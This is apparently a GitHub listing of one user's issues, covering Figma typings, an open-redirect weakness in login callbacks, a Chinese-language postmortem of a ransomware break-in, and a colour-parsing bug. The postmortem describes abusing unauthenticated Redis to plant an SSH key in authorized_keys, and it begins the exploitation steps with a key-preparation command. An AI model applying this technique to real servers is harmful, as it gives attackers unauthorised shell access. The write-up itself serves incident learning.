Michael Zheng

Results 4 issues of Michael Zheng

I'm not pretty sure if this is implemented as intended or there is room for improvement here. In [Figma typings](https://github.com/figma/plugin-typings/blob/master/index.d.ts#L573), `GeometryMixin` is defined as: ``` interface GeometryMixin { fills: ReadonlyArray...

priority: medium
topic: figma api
complexity: medium

## 介绍 在日常的应用中,我们经常会在链接在加上一个回调地址用于跳转。例如我的应用是 _http://www.taobao.com_,假设我在没登录的情况下访问了 _http://www.taobao.com/shoppingcart_ 。这时候会跳转到 _http://www.taobao.com/login?url=/shoppingcart_ 。登录完后再跳转到_/shoppingcart_的地址。这里有个漏洞就是可能会有人恶意发送钓鱼链接。例如我可以给你发给链接 _http://www.taobao.com/login?url=http://www.baidu.com_ 。如果不对url参数进行验证的话就会被导向恶意网站。 ## 方法 如果是只能跳转到内部相对地址的话,可以采取/验证。 ```javascript let urlQuery = getQuery(); //假设获取到url的参数了 let returnUrl = '/dashboard'; // 默认的返回地址 if(urlQuery.startsWith('/')) { // /开头是相对路径 returnUrl...

## 事情经过 某日被反馈说线上服务跪了,赶紧登录服务器重启服务。发现一直重启失败,找了下原因发现应用代码不见了!对方在根目录下留下一封[勒索信](https://privatebin.net/?164d29ebef7cb0db#B0S90pWwdsGUS3H3+NAEjWfHVO9S2DmJq6BVPTasWTU=) 索要0.1个比特币。作为一名合格的程序员,我们的代码肯定都是放在代码库上有备份的。0.1个比特币肯定没有的,2毛钱不能再多了。不过想想这是第一次被黑客攻击,还是有点小鸡冻。这里总结一下。 ## 安全漏洞 ### [Redis](https://redis.io/) Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。默认情况下Redis是没有开启认证的。这时候黑客可以通过redis-cli远程登录Redis服务器,通过改写配置恶意篡改 __.ssh/authotrized_keys__ 文件,给自己添加服务器访问权限。 ### 漏洞利用 * 将公钥写入文件 ```bash (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt ``` * 连接...

# How to reproduce: 1. Open [Sandbox](https://codesandbox.io/s/invalid-color-wg220?file=/src/index.js) 2. Check the console output # Current behavior * For invalid rgb input (E.g. "rgb(277,0,0)"), r is rounded to the nearest valid value...

pr welcome
BREAKING